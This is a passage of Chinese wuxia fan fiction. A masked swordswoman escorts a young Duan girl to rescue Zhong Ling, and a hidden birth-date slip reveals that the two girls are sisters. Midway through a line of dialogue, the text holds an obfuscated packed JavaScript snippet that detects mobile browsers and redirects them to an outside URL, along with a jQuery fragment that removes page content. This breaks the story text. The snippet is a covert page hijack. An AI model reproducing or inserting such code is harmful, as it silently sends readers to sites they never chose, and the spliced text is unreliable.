段钰几次下马不得,也只能无可奈何,眼睁睁看着黑马风驰电掣穿林越径,一路向东行去,约莫一柱香的功夫便到了山脚下的森林前,黑马放慢速度,如熟识此地般,自行来到林中一条河流旁。 四下昏黑,段钰不知道这是何处,也不敢轻易妄动。黑马得得走到河边饮水,段钰摸了摸马儿,想起黑衣女子,心头黯然。 突然一人道:“喂,我不是让你走了吗?” 段钰寻声望去,河岸边的大石头上坐着一人,因她一身黑衣,故而段钰来时并未发觉。她这一见之下激动万分,立刻从马上下来,道:“你没事!太好了,我还以为……” 黑衣女子冷冷的道:“以为甚么,以为我死了?” 段钰也不计较她的态度,微笑道:“怎么会?你武功这么好,他们一定不是你的对手。” 黑衣女子道:“少了你这个拖后腿的,他们能把我怎么样?喂,你回来做甚么,不是赶着要回大理搬救兵?” 段钰对她的性子已经有几分熟悉了,道:“我想他们那么多人围攻你一个,怕你……嗯,怕你太厉害,把他们都打死了,就想着回来看看,想请你手下留情,放他们一条生路。” 黑衣女子道:“放他们一条生路?你倒是善心。”重重咳了几声,又讥讽道:“没管闲事的本事,倒爱凑热闹。” 段钰听她嗓音沙哑,似有异样,走到河岸边问:“你怎么了?” 黑衣女子登时发起火来,道:“滚开,谁要你假惺惺的多管闲事!” 石头上摆着一个药瓶,四周还有点点血迹,段钰心中一紧,道:“你受伤了?”几步靠近石边,只听铮然一声,脖颈边已多了一柄剑。 黑衣女子道:“再过来我就杀了你,真以为我不敢对你动手吗?” 段钰垂目看着明晃晃的剑身,轻声道:“你明知我是好意,为甚么要把话说的这么难听?” 黑衣女子冷冰冰看着她,道:“难听?等我把你耳朵割下来,你就再也听不见我说话了。” 她握着剑站了起来,段钰道:“你割了我的耳朵,我听不见你说话,想胡乱说甚么就说甚么,你让我闭嘴不是也听不见了?” 黑衣女子怒道:“那就毒哑了你!”手中长剑咣当落地,人已摇摇晃晃,朝段钰倒来。 段钰下意识接住她,发现她肩上一片湿热,血腥气息甚重,想来伤势不轻,忙扶着她坐下,捡起那个药瓶塞进怀里,道:“黑玫瑰,你的主人受伤啦,快过来。” 那黑马颇有灵性,闻声立刻走了过来,屈下前腿。段钰把黑衣女子推上马背,自己也跟着爬了上去。黑马载着二人往林中走去,在一棵老树下止步,段钰扶着黑衣女子靠着树坐下,刚要伸手去解她的衣衫查看伤势,想起她从头到脚捂得严实,莫非是身上有异,因此不便见人,若是被自己看到了,纵是无心为之,恐怕也是要伤心愤怒的。 她顿时有些犹豫,不知该不该这么去做。面前人却低声呻吟起来,似乎十分痛苦。段钰再无暇去想别的,马上解开她的外衣,见那雪白皮肤上好长一道伤口,不忍细看,从怀中取出药瓶往伤处洒上粉末,又把衣摆用力撕成一条条,将伤口裹好。 做完这一切已出了一身的冷汗,段钰为她系好衣带,拿起马上的水囊去河边灌水,洗净手上血污方才回来。见黑衣女子还在昏睡,便在她身侧坐了下来,喝了几口水。那水囊不知怎么,也萦绕着一股幽香,段钰轻轻嗅了嗅,细辨像是花香,与黑衣女子身上的近似。 黑暗中危机四伏,也不知道这位姑娘的仇家们甚么时候又会突然出现。段钰不敢睡去,只得强打精神在一旁守夜。闲来无事,她回忆起从山洞玉像脚下得到的武学秘籍,便在心中默默念诵起来。 后半夜身旁又传来窸窣声,段钰还以为黑衣女子醒了,转头一看,见她仍是双目紧闭,双手却紧抱在胸前。段钰心道得罪了,解开衣衫看了看伤势,看不再渗血,又在她额头摸了摸。 触手滚烫,她顿时一惊。想起自己烧热时母亲照顾自己的举动,打开水囊浸润一块碎布,笨拙地在黑衣女子脖颈与耳后仔细擦过,特地避开了脸上的黑纱,最后脱下外衣披在她身上。 此时不便生火,段钰看她身子颤抖得厉害,知道若是放任这么烧下去,只怕明日要不好。想了想,只得解下外,让她抱着自己。 等到天光破晓,林中传来阵阵鸟啼,怀中人总算是无甚大碍,平安度过了这一夜。段钰双臂被她紧紧缠着,一时挣脱不得,精疲力尽昏睡了过去。 及至日光从枝叶缝隙间洒落在黑衣女子脸上,她才从昏沉中转醒,浑身上下酸软无力,忽觉身上多了一件衣衫,怀中温暖,心下奇怪,低头一看,竟有个人依偎在身侧,立时又惊又怒,奈何手脚无甚力气,想推也推不开,忍耐了好一会儿,才把手臂抽了出来。 她抬起手刚想给那人两巴掌,却见怀中人只着单衣,睫毛微颤,怕冷般缩成一团。看了眼身上衣衫,手悬在半空,悻悻收了回去。 待恢复了些力气,她才推开段钰,恶狠狠盯着她看了一会儿,负气扯下披在身上的衣衫团成一团,刚要随手扔了,鬼使神差停住了手,皱着眉看了一眼,展开衣衫重新盖在了段钰身上。 她僵硬地坐回原来的位置,仿佛做了一件与本心相违之事,可怎么也想不起来自己为何要那么去做。 黑衣女子目光古怪地望着熟睡之人,手无意中碰到肩上伤处,神色骤变,但仔细一看身上衣着完好,遮面的黑纱也严严实实覆着,并无不妥之处。她不知为何反倒更为恼怒,拾起剑就要朝段钰刺去。 段钰蜷缩在树下,睡得脸颊微红,嘴角噙着一抹笑意,也不知是梦见了什么。黑衣女子持剑僵在原地,怒火中烧,却怎么也下不去手,咬牙还剑入鞘,召来黑马就要离开。 她刚走了几步,脚下像是碰到了什么东西,发出清铃铃的声响。低头看去,原来是只黄金钿盒,一看便知是女子之物。她身上从未有过此物,狐疑地捡了起来,打开盒盖,见盒中有张小小红纸,色已成淡粉,纸上隐隐有几滴干涸的血迹,上写“庚申年二月初五丑时女”十一字,字迹歪歪斜斜,仿佛份外艰难。 将红纸翻过一面,又看见背后写着几行极细的小字:“伤心苦候,万念俱灰。然是儿不能无父,十六年前朝思暮盼,只待君来。迫不得已,于乙未年五月归于钟氏。” 这钟氏除了钟万仇不做他想,黑衣女子凝目细思,待明白留书之人是谁,那“无父之儿”的身份呼之欲出,她再度把红纸细细看了一遍,重新封进盒中,难以置信地看向段钰。 段钰这一觉睡得甚是安稳,梦中她救出钟灵后回到大理,爹爹妈妈竟也和好如初,一起出来迎接她……突然脸上一阵冰冷,将她生生从美梦中唤醒。 段钰睁眼一看,黑衣女子正站在自己面前,手拎着水囊往她脸上泼水。见段钰瞪大眼睛,她冷冷道:“终于舍得醒来了?我问你,昨夜是不是你给我上的药?” 段钰尚有些迷茫,道:“是。” 黑衣女子右手倒提长剑,低下头盯着她问:“你看见我的脸了吗?” 段钰被剑光晃迷了眼,道:“没看见。” 黑衣女子狠狠道:“说谎,我不信你没偷看。” 段钰不解道:“这种事有甚么好说谎的?再说了,好端端的,我非要看你的脸做甚么?” 黑衣女子沉默片刻,道:“你若是敢骗我,追到天涯海角我都要杀了你。” 段钰心想她把自己裹得这般严实,又是威胁又是恐吓,看来果真是有难言之隐,便点了点头。 黑衣女子后退几步,又道:“这东西是你的?” 她手中握着一个黄金钿盒,段钰一摸怀中,猜测是昨夜抱着黑衣女子入睡时不慎遗落下的,想起钟夫人临别前再三嘱托,忙道:“那是钟夫人给我的。” 黑衣女子问:“你打开盒子看过没有?” 段钰微感讶异,道:“没有,钟夫人叮嘱我,让我将它交给我爹爹,请他出手去救人。” 她快步走到黑衣女子面前,想从她手中拿回钿盒,黑衣女子却塞进怀里。段钰奇道:“咦,你为何要拿走它?” 黑衣女子背靠着树道:“放在你身上,就是掉了也不知道。等见到钟灵,我就把它还给你。” 段钰不愿为了这种小事与她起争执,微笑道:“那好,就交给你保管了。” 原以为这话又会招来一顿讥讽,没想到黑衣女子只是淡淡打量了她片刻,道:“把衣服穿好。” 那外袍在地上滚了一圈,沾了不少土灰,又被撕下一截,瞧着不太像样。不过此时也无衣可换,段钰只得穿了,装作未察觉到黑衣女子肆无忌惮的目光,道:“好了,我们这是要去无量山么?”又想起她还有伤在身,迟疑道:“你的伤……” 黑衣女子翻身上马,捉住段钰手臂拉了上来,道:“你怕甚么,死不了。” 段钰被她圈在怀里,再度闻到了那股幽香。这黑衣女子浑身是迷,段钰怕无意之中又冒犯到了她,是以干脆不说话。 二人闷头赶路,段钰昨夜守到天亮才睡去,此时又要赶路,疲倦不已。马背上的轻微颠簸令人昏然欲眠,不知不觉渐渐向后靠在黑衣女子怀中,歪着头睡了过去。 黑马奔驰不息,遇到低矮的树丛或是河流时便一跃而过,段钰身子便会随之一斜,仿佛随时都会滑下马去。黑衣女子不得不揽住她的腰,半抱半搂按在怀中,这才免去了坠马之险。 午后日光正好,黑马从林荫下飞奔而过,叶间点点如落星盛了满怀。她见段钰睡得正熟,眼睫随着气息起伏一颤一颤,如蝶翼一般,心中微奇,忍不住伸手碰了碰。手背无意贴上肌肤,那温软的触感更是新奇无比。 到了傍晚便抵达澜沧江畔,夕阳衔山,其时暮云如火,暝色苍茫,江风甚急。那江面广阔,中心激流旋荡,想过江除了铁索桥之外,就只有江边迎送往来的小船。段钰一到渡头便被风吹醒了,见暮色之中的江景甚为壮丽,波光潋滟,驻足眺望片刻。黑衣女子牵马上船,回头不见人跟来,不快道:“这么喜欢这条江,等到了江心你就跳下去喂鱼好了。” 那船家听了惶恐道:“姑娘快快将此话收回,小心这江底的龙王爷当真了!” 短短一夜相处,段钰对这黑衣女子知之甚深,这人言行无忌,喜怒不定,仿佛天不怕地不怕似的,若与她讲道理决计是自寻烦恼。让她再这般说下去,船家只怕不肯渡江了。当下几步踏上船,捂住黑衣女子的嘴道:“她与我说笑呢,老伯不必在意。” 船家哎唷一声,不再多言,撑竿朝江对岸划去。 段钰收回手,看黑马安安静静站在船上,道:“这马为甚么叫黑玫瑰?”久不闻应答,回头见黑衣女子定定望着自己,心中一突,想起刚才自己碰着了她的脸,忙道:“我不是有意的。” 黑衣女子静了一瞬,道:“它生得黑,脾气又大,就叫黑玫瑰了。” 段钰摸了摸马儿,道:“脾气大么,我怎么没看出来。” 黑衣女子道:“因为你身上沾了我的——”话未说完硬生生截断了,段钰疑惑道:“沾了你的甚么?” 抬手一闻,蓦然想起二人抱着睡了半日,难免沾了不少黑衣女子身上的幽香。她感到脸上微热,道:“这是甚么味道,花香吗?”话一出口,便觉甚为突兀。 黑衣女子道:“你的话太多了。”转过身去,背对着她,一路再也无话。 到了对岸,二人上马赶路,行出二十余里后来到一个小市镇上。黑衣女子来到饭铺前,对段钰说道:“下去。” 段钰依言下马,面露疑惑之色。黑衣女子道:“别还没救回钟灵,你就先被饿死了。”话尾竟带着几分笑意。 段钰羞恼不已,却也无可反驳,老老实实进店问饭店主人要了些菜饭,在靠门的木桌前坐下,慢吞吞吃了起来。 这饭铺旁便是驿站,黑衣女子带马儿去吃草喝水。段钰刚吃了个半饱,饭铺又进来一男一女,说说笑笑,好不热闹。她听那男人声音耳熟,抬头一看,竟是从无量剑私逃出的干光豪,那女子想来就是西宗的那位葛师妹了。段钰以为这二人早就逃之夭夭了,没想到会在这家小店碰上。 段钰心知这祸事是躲不过了,果然干光豪朝她看了一眼,立即走了过来,道:“可教我们好找啊。” 段钰决定先发制人,道:“不知令师左掌门可安好?” 此言一出,干光豪身后那女子面露惊惧之色,道:“这附近有无量剑的人?” 干光豪道:“娘子别怕,这一路走来也没见着人,这臭丫头唬咱们呢!” 那葛师妹道:“还是快些赶路罢!”看了段钰一眼,右掌虚劈,神色阴狠道:“这丫头不能留了。” 干光豪拔出长剑斩向段钰,剑高举在半空,突然破空声传来,一支短箭正中背心,他便朝着桌沿直直倒了下去。葛师妹刚说了句“是谁”,胸口已中了一箭,人也倒了下去。 黑衣女子站在门外道:“你不过是吃个饭罢了,也能与人结仇?” 段钰方才尚不觉惊险,现下一想格外惊心,绕过地上二人来到门外,遂将来龙去脉告知黑衣女子。黑衣女子道:“原来你撞破了他们的好事,难怪他们要杀你。”又说:“愚蠢,要是我没回来,你不是白白让他们给杀了?” 段钰笑道:“怎么会?我知道你一定会回来的。” 黑衣女子顿了顿,冷冷道:“你这条小命能留到今日,也是一件奇事。再有下次,我看谁能来救你。” 段钰只当她是在夸自己,指着不远处的山峰道:“那就是无量山了,咱们就快到了。”一想到能救出钟灵,喜悦之情溢于言表。 黑衣女子忽道:“钟灵救了你一命,你要报恩,所以去救她;我方才也救了你,你要怎么回报我?” 段钰一愣,当即思索起她的话来,迟疑了片刻,问道:“你想要甚么呢?” 黑衣女子深深看了她一眼:“不用急,等我想好了,我自会向你讨要的。” 从驿站牵走马,二人离开市镇,向着无量山方向赶去。行经一条小路,突然有四人从林中窜出,挡在道路中央。这四人着一色碧绿斗篷,手中各持双钩,看样貌都是年轻女子,居中一人道:“你们两个从前头过来,有没有在镇上看到一男一女?” 段钰轻轻啊了一声,还未开口,黑衣女子道:“见到了又如何?” 那女子道:“快说,他们往哪个方向去了!” 黑衣女子道:“这么想知道,我送你去见他们,不必谢了。”手臂一抬,嗤嗤射出短箭,其中两名女子中箭马上倒地,另外两名挥钩格挡,居然挡下了射来的短箭,挺钩向黑衣女子刺去。黑衣女子拔出长剑,在马背上与这二人周旋起来。她骑术精湛,加上黑马与主人心意相通,时而抬腿踩踏,时而猛然向后踢去。这二人一时奈何不得她,还需提防暗箭。 为首那女子攻势一转,突然朝段钰刺去。黑衣女子收剑回挡,却被双钩紧紧锁住,另一名女子趁机近身,朝她连刺去,段钰见状喝道:“黑玫瑰快跑!”马儿奋力前冲,那女子刺了个空,黑衣女子长剑脱手飞出,头也不回射出一箭,听得身后倒地声传来,为首女子又从一旁攻来,黑衣女子躲避不及,右臂被钩中,登时鲜血淋漓。 段钰心中焦急,无意在马鞍外侧挂着的口袋里摸到一柄短剑,眼看那双钩刺向黑衣女子,想也不想拔出短剑朝那女子掷去。那女子马上挥动双钩作挡,登时露出破绽。黑衣女子又射出一箭,这次正中那女子喉头,她闷哼一声,随即栽倒。 黑衣女子下马把短剑捡了回来,放回袋子里,又从四人身上拔出短箭收入怀中。她扒下其中两人身上的斗篷,搜寻一番后回到马上,将其中一件扔给段钰,道:“穿上。”从马鞍另一侧的袋子里取出金创药布条包扎伤口。 她手中似乎还捏着东西,行动颇为不便,段钰道:“给我吧,我来帮你。”从她手中接过药瓶,仔细在伤处敷上药。一想到不过转眼之间,白玉般的手臂上便一条狰狞伤口,也不知往后会不会留疤,顿时替黑衣女子感到心痛,轻轻在伤口边缘吹了吹,这才把布条缠在手臂上。 黑衣女子静静看着她包扎完毕,道:“为什么要对着伤吹气?” 段钰愣了愣,道:“小时候我摔倒时,我妈妈便会这样吹一吹,就不觉得有多疼了。你妈妈不这么做么?” 黑衣女子淡淡道:“我样貌丑陋,一出生就被父母遗弃,是她在林中捡到了我,将我带回山中抚养长大。” 段钰闻言更觉愧疚,低声道:“难怪你一直蒙着脸,原来是这样。” 黑衣女子瞥了她眼,不动声色道:“昨夜你当真没有见过我的脸?” 段钰连忙道:“当然没有,我对天起誓——” 黑衣女子道:“不用立誓,我信你。” 这般敏感多疑的人竟会相信自己,段钰闻言倍感荒谬,心头百味杂陈,道:“你肩上的伤,还痛不痛了?” 黑衣女子却道:“我立下过一个毒誓,如果有人见到了我的样子,我必须杀了他;倘若留他一命,那就要……”话音一顿,若无其事看向别处。 段钰忍不住问:“为何要发这种毒誓?” 黑衣女子道:“只有这样,师父才会传我武艺。”又道:“反正我样貌生得丑陋不堪,遮着面也不会惊吓到旁人。” 听出她话中的自嘲之意,段钰无端有些难过,安慰道:“容貌也只是一时,人迟早是会老的。我看那些老了的人,都生得一副模样。” 她很轻地叹了口气,道:“我妈妈就生的很美,可我爹爹他还是……我妈妈已经许多年没有回过家啦,每次我想她的时候,都要走很远的路才能见到她。” 黑衣女子道:“所以你离家出走了?” 段钰微微一笑,道:“你真聪明,我只是随口一说,就被你猜到了。我不想回去,因为家里总是空荡荡的,爹爹整日都在外忙碌,没有人和我说话……” 黑衣女子道:“那就不回去。” 段钰一怔,笑道:“我怎么能不回去呢?” 说完腰间手臂一紧,她便顺势靠在了黑衣女子的怀中。黑衣女子道:“你不想回去,那就不回去。我去救钟灵,你无需回家求你爹爹了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160841|180626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 段钰甚是感动,轻轻摇了摇头,怅然道:“……可我迟早都会回去的。” 黑衣女子沉默不语,良久方道:“神农帮的人在哪里?” 段钰道:“再往东走,有一条上山的路,顺着路到山腰,他们就在剑湖宫旁。” 话音一落,黑马迈开四蹄向东奔去。不过多时月亮升起,山野都浸润在明亮的月光当中,夜间的道路也看得十分清楚。半个时辰之后,两人来到无量山剑湖宫旁,段钰远远望见山坡上有火光,对黑衣女子道:“你在这里等我,我去去就回。” 黑衣女子道:“那你是活得不耐烦了,想去送死?我问你,我师叔可有给你那貂毒的解药?”又驱马向山坡行去。 段钰这才想起来钟夫人未来得及给自己解药,懊恼道:“对呀,我没有解药,那断肠散的毒要怎么解?” 黑衣女子语气冷了几分,道:“断肠散?话说明白些,这又是甚么东西?” 段钰道:“我离开时被他们的帮主下了一种叫断肠散的毒药,服药七天后必毒发身亡。他说只要我带着貂毒的解药回去,他才会把这断肠散的解药给我。” 黑衣女子厉声道:“这等要事怎么不早说?这已经是第几日了?” 段钰掐指一算,道:“应当是第三日了……”猝不及防被推下马背,在地上狼狈不堪地滚了一圈,惊讶道:“啊!你、你这是做甚么?” 黑衣女子眼中似怒似恨,仿佛有一团烈火在燃烧,道:“泥菩萨过江自身难保,还想着逞英雄救人,你就这么不爱惜自己的性命?”当即扔下段钰一人,骑着黑马冲上了山坡,朝着火光去奔去。 段钰焦急道:“你别走啊,等等我!” 黑衣女子始终没有回头,段钰只好一路跑向那山坡。凭她的脚力,怎能与黑马相提并论,一刻之后才走到山坡上,只见一群人跪在地上,领头那人赫然是神农帮帮主司空玄。他神色惊恐,正对着面前一位披着碧绿斗篷的女子解释甚么,听见脚步声,立刻朝段钰看来。 黑衣女子转过身,不耐烦道:“站着做甚么,还不快滚过来?” 段钰不明就里,又怕她发怒,连忙走了过去。司空玄见状脸色又难看了几分,道:“原来……原来这里还有一位圣使。” 黑衣女子把一个瓷瓶丢给段钰,道:“不止,还有两人在山下呢。” 司空玄唯唯诺诺道:“是,是。”缩手缩脚站在一旁,全无一帮之主的气势。 段钰一走进,黑衣女子就在她手背上轻轻一捏。她虽不知道黑衣女子是怎样蒙骗了这位帮主,看眼下情形也只能继续骗下去,便在她身侧站着,装作是黑衣女子的下属。 黑衣女子道:“你们抓到的那姓钟的丫头呢,带她过来。我有事要问她。” 司空玄身后两名帮众飞奔到火堆旁,抬了一人过来。段钰定睛一看,正是被捆作一团的钟灵。黑衣女子拔剑几下割段钟灵身上的粗绳,钟灵道:“你是谁?” 黑衣女子道:“你说我是谁?过来,我有件极为重要的事要问你,耽误了功夫,当心你的小命不保。” 钟灵闻言一惊,这声音甚是耳熟,,旋即反应过来。司空玄喝斥道:“圣使面前不得无礼,还不快过去!” 钟灵背对着众人朝黑衣女子做了个鬼脸,这才走到她身旁。见还有一人,奇道:“这又是谁?” 黑衣女子道:“再多说一句废话,我就毒哑了你。”又对司空玄道:“解药已经给你们了,冷水服用即可。” 司空玄见她要走,忙道:“无量剑之事未能办妥,童姥若是怪罪下来,属下万死难脱其咎。还请圣使大发慈悲,在童姥面前美言几句。” 黑衣女子挥了挥手,道:“知道了,再啰嗦下去,又要耽搁要事。” 司空玄见她走的干脆,也不敢出言挽留。摸出怀里的药瓶,忙让帮众去取水来服药解那貂毒。 三人走出数十丈,再也看不到神农帮的火光了,钟灵这才笑嘻嘻道:“木姐姐,怎么是你来找我?我爹爹妈妈呢?” 黑衣女子不理她,对段钰道:“想活命就赶紧服药。” 段钰这才明白适才她给自己的瓷瓶装的是断肠散的解药,连忙摘下兜帽问:“你是怎么拿到解药的?” 钟灵一见到段钰便呆住了,箭步冲上前去,紧紧抱住她道:“你这呆子,你怎么又回来了?” 她抱得太紧,段钰喘不过气,断断续续道:“我说了,会回来救你的。”无意间对上黑衣女子的目光,只觉得那双眼睛深如漆点,极深极黑,仿佛能一眼望穿人心里在想些甚么。心中一突,莫名有些许心虚,用力推了推钟灵,道:“也不算是我救的,我见到了你爹爹妈妈,是钟夫人请她……请她救了你。” 钟灵松了口气,笑道:“你见过我妈妈了,好极好极。”低头在段钰耳畔道:“你没告诉我爹爹你姓段的事罢?” 段钰心想我是没有告诉他,是你爹爹自己听见的,一时为难,也不知该点头还是摇头。钟灵也并未追问,只道:“你如何会和她一起回来?”目光所向,正是那黑衣女子。 段钰于是将事情大致描述一番,略去了钟谷主夫妇争吵之事,只说是因为有贵客将至,他们暂时不能离开,便让人去请黑衣女子护送自己来救钟灵。 钟灵听罢笑道:“原来是这样。木姐姐,多谢你一路照顾钰儿了。” 这般边说边走,不知不觉又来到了剑湖旁。今夜明月高悬,剑湖旁山影倒映在水中,段钰不由想起了那无量玉璧之事,止步眺望。但隔着剑湖与屏山,甚么也看不清,那谷中一夜回想起来,真如同做了个梦一般。 黑衣女子骑着马缓行于前,段钰与钟灵并肩走在后头。钟灵与她分别不过数日,思念之情却有增无减,碍于黑衣女子在场,只能牵起段钰的手左摇右晃,以诉相思之情。 她甜言蜜语一箩筐层出不穷,段钰脸上阵阵发烧,小声道:“神农帮的人没有难为你罢?为甚么他们把你全身绑起来?” 钟灵傲然道:“他们敢?”趁着黑衣女子没看见,偷偷在段钰脸上亲了一口,道:“你走之后过了一日,一天夜里,我趁他们看守疏忽,差点就逃走了,要不是他们养了许多看家的狗,凭他们哪能在这山里找到我?” 段钰道:“你的貂儿呢,跑到哪里去了?” 钟灵这才想起闪电貂来,望了望四周,道:“应该还在这山上,我在附近草地找找看,你去湖边等着我。” 钟灵走近草地,吹了几声口哨,试图呼唤闪电貂回来。她越走越远,只剩下段钰与黑衣女子在湖边,黑衣女子道:“还不服下解药?”语气十分不善。 段钰忙打开瓷瓶,往嘴里倒了半瓶药粉。这解药甚是苦涩,她弯下腰从湖边舀了捧水喝了,仍觉得舌尖苦得发麻。 解药入喉,段钰起先不觉如何,随后腹中绞痛突然传来,仿佛有双手把肠子缠成一团。她面色煞白,手脚骤然失了力气,竟连手中瓷瓶也握不住,脚下一个不稳,跌坐在了地上。 她痛得眼前发黑,身上一阵冷一阵热,恨不得在地上滚上几圈,好缓解这剧痛。谁知她身躯还未倒下,就已经落在了一个充满幽香的怀抱里。黑衣女子跪坐在地,扣住她的手腕,又在脖颈下贴紧片刻,道:“你怎么了?” 段钰被她搂在怀里,眼角泪水不断滑落,连呻吟都难以发出,只能张着嘴向地上的瓷瓶看去。黑衣女子怒道:“那解药是假的?他们竟敢骗我!” 不觉痛意渐渐止,段钰额头冷汗涔涔,竟有死里逃生之感。刚要开口说话,腹中疼痛却更胜于前,她再难以忍受,转头一口咬住了甚么东西,等疼痛慢慢消退之后,才慢慢松开了口,一看竟是黑衣女子的手背,口中也尝到了些许血腥味,陡然色变,道:“你的手……你怎么不推开我?” 黑衣女子转动手腕,若无其事道:“感觉如何?” 段钰道:“刚才服下解药以后肚子疼得厉害,现在好像不怎么痛了。”努力想坐起身,无奈身上没甚么力气,腰间被一条手臂紧圈着,怎么也起不来。 黑衣女子摸了摸她汗津津的额头,喝斥道:“乱动甚么?”手上动作却异常轻柔。 段钰顿时不敢再动了,听黑衣女子说道:“你是不是很怕我?”语声又冷硬了起来,道:“我不想听假话。” 段钰上身陷在她的怀中,抬头迎上她的目光,只觉得头顶漫天星光都不及她双眼明亮,心跳忽地加快,有些说不出的难为情。黑衣女子却一直看着她,仿佛不得到回答绝不罢休,段钰嘴唇动了动,低声道:“我还不知道你的名字呢……” 她本以为黑衣女子不会回答,没想到她却道:“我听见钟灵叫你钰儿,是哪个钰。” 段钰伸手在她掌心写了自己名字,黑衣女子抓过她的手展开,指尖在她掌心写道:“我姓木,叫木婉清。” 段钰笑道:“婉清?这个名字很好听。” 黑衣女子道:“有甚么好听的。” 段钰道:“水木清华,婉兮清扬。怎么会不好听呢?”虽隔着面纱,看不见木婉清的面容,但段钰无端觉得她此刻在笑。 钟灵折返,见段钰被木婉清抱着,心中有些说不出的怪异。她与木婉清往来多年,深知此人秉性之反复无常,且脾气古怪,敏感多疑。知道这回她能出手相助,必是得了母亲授意,见她竟肯将段钰送回无量山,二人甚至共乘一骑,心中更是大为震撼。方才她还在想,说不得段钰这一路没少受木婉清欺负,忍气吞声才熬了过来。如今再看,这二人之间又全然不似她所想。 木婉清冷若冰霜生人勿近,终日蒙头遮面,浑身上下无不遮的严严实实,像这样抱着一个少女,简直是前所未有之事。钟灵心下奇怪,暗忖莫非是段钰投了她的眼缘,是以她待段钰与旁人不同? 走近一看,见段钰脸色发白,连嘴唇都失了血色,钟灵大吃一惊,提声道:“钰儿,你这是怎么了?” 段钰脸一红,道:“我服了那断肠散的解药,肚子突然疼了起来。” 钟灵扑到她身侧,握住她的手,恨不能以身替她受了这份痛苦,咬牙切齿道:“好啊,司空玄那老家伙竟敢用假药骗我们?” 她一来木婉清便放开段钰,走到湖边背对着二人。段钰道:“解药应该是真的,我……我已经好多了。”又怕她一怒之下跑到神农帮去,轻声道:“好不容易才把你救出来,你可不要……不要再被人捉去啦。” 钟灵在她手腕上见着了自己的镯子,顿时心花怒放,若非木婉清在场,真想抱着她亲上一亲。笑了笑道:“好,我以后甚么都听你的。” 她这样一笑,真如一支鲜妍的茶花,让人看了心生欢喜。段钰也忍不住笑了起来,道:“我记下了,你可不能反悔。” 钟灵目光满含情意,低声道:“我绝不反悔。”余光一瞥,看见木婉清仍站在一旁,便道:“木姐姐,这一路多谢你了,我先带钰儿回谷,过几日我定登门拜谢。” 木婉清道:“你要带人,我把马借给你。” 钟灵迟疑道:“你的马旁人不是骑不了吗?” 木婉清道:“有她在,黑玫瑰不会把你掀下马背的。” 钟灵将信将疑,心中那怪异之感又重现于心头,眼下容不得她去细想,道:“那你要怎么回去?” 木婉清道:“我还有事,先不回去了。” 钟灵不再问下去,去扶段钰起来。附身之时,忽见地上有个盒子,拾起一看,道:“木姐姐,这是你的东西么?” 木婉清回头看了一眼,淡淡道:“不是,是你的。” 段钰才想起此物,道:“这是钟夫人给我的。” 钟灵一听是母亲之物,当下便打开盒子,笑盈盈道:“我妈妈送给你的?让我瞧瞧,里头装了甚么?” 只见盒中放着一张薄纸,钟灵取出细看,发现竟是自己的生辰八字,惊讶道:“她为何把我的生辰八字送给你?”转念一想,惊喜道:“是不是她看到了你手上的镯子,明白了我的心意,要把女儿送给你?” 段钰微微发窘,低声道:“你胡说甚么?她怎会把你送给、送给……”说着就要把镯子从手上褪下来还给她,钟灵好一通撒娇耍赖,说甚么也不让她把镯子还给自己。 段钰道:“这是钟伯母要我回大理带给我爹爹的,她说只要我爹爹见到这个盒子,一定会来救你的。” 钟灵奇道:“她还认识你爹爹?你爹爹也姓段么?” 段钰失笑道:“我爹爹不姓段姓甚么?” 钟灵自知失言,忙道:“我不是这个意思……你去过我家,也看到了那树上的字罢?怪了,我妈妈如何会认识姓段的人?还要找你爹爹来救我?” 段钰对其中内情也只是一知半解,但却清清楚楚知道钟万仇的对头正是自己父亲段正淳。一想到若是钟灵知道了此事,说不定就要失去这个朋友了,她便有些怯意,摇了摇头,为这自己这点私心,不肯再说下去了。 这时木婉清走到二人身边,侧头看了眼钟灵手上的东西,道:“后面好像还有字。” 钟灵一怔,将纸翻了过来,果然见到几行极细的小字,不觉念了出来:“伤心苦候,万念俱灰。然是儿不能无父……十六年前朝思暮盼,只待君来。迫不得已,于乙未年五月……归于……归于钟氏。” 读到最后,她抬起头来,面上一片茫然,喃喃道:“这话是甚么意思?” 段钰已经明白过来,原来钟灵并非钟万仇亲生女儿,其父另有其人。她想起钟夫人临别前再三叮嘱的那句话,要她把“请他救我们的女儿”这句话原封不动转告爹爹,那时她尚且未晓其意,只觉得有几分奇怪,如今看到这盒中之物,霎时明白了钟夫人话中的含义。 她望着钟灵,如同看见了这世上最为可怖之物,道:“钟夫人说,要我把这盒子亲手交给我爹爹,并转告他,‘请他救我们的女儿’……原来、原来是这个意思!你是,你也是我爹爹的……” 钟灵颤声道:“不,不是这样的。”下意识攥紧盒子,尖角刺进掌心,竟也不觉得有多疼,定了定神道:“你跟我回去,去见我妈妈,咱们当着她的面问个清楚!” 段钰怔怔看着她,忽道:“钟灵,其实我骗了你。钟谷主知道我姓段后,发了好大一通脾气。听说我爹爹名讳之后,更是怒骂了他一顿,说定要取他的性命……原来我爹爹就是他的仇人,我方才不想说,是怕你知道了,就……就不肯再理我了。” 说道最后,几乎哽咽了起来,夜风吹来,面上一片湿冷。 钟灵再也说不出别的话,上前几步,想去牵段钰的手,她却像受惊的小兽一般朝后退去,眼中是掩饰不住的惊恐惧怕。 钟灵一颗心像是被拋进了深谷,脑中一片空白,只听段钰道:“我知道,这不是你的错,我不怪你,也不怪别人……” 钟灵眼眶通红,哑声道:“你明明知道我的心意。” 段钰被这话逼的又连退几步,从前有多喜欢她,现在就有多少恐惧。这一退便退到了黑马身旁,她想也不想翻身上马,低声道:“我宁愿我不知道。”言罢催促一声,黑玫瑰如离弦之箭,转眼冲进了远处树林。 钟灵见状立刻就要追上去,木婉清一剑拦住了她,道:“你要逼她逃得更远么?” 钟灵怒极,想起这一路行来她身上的种种异样之处,心中浮起一个不可思议的念头,道:“你是不是对她……” 木婉清眼中带着几分嘲弄,负剑走到她身旁,道:“真不知该说你聪明还是蠢笨,该想明白的地方不去想明白,不该想的却偏要去想。怎么,你以为这种事,还会分先来后到么?” 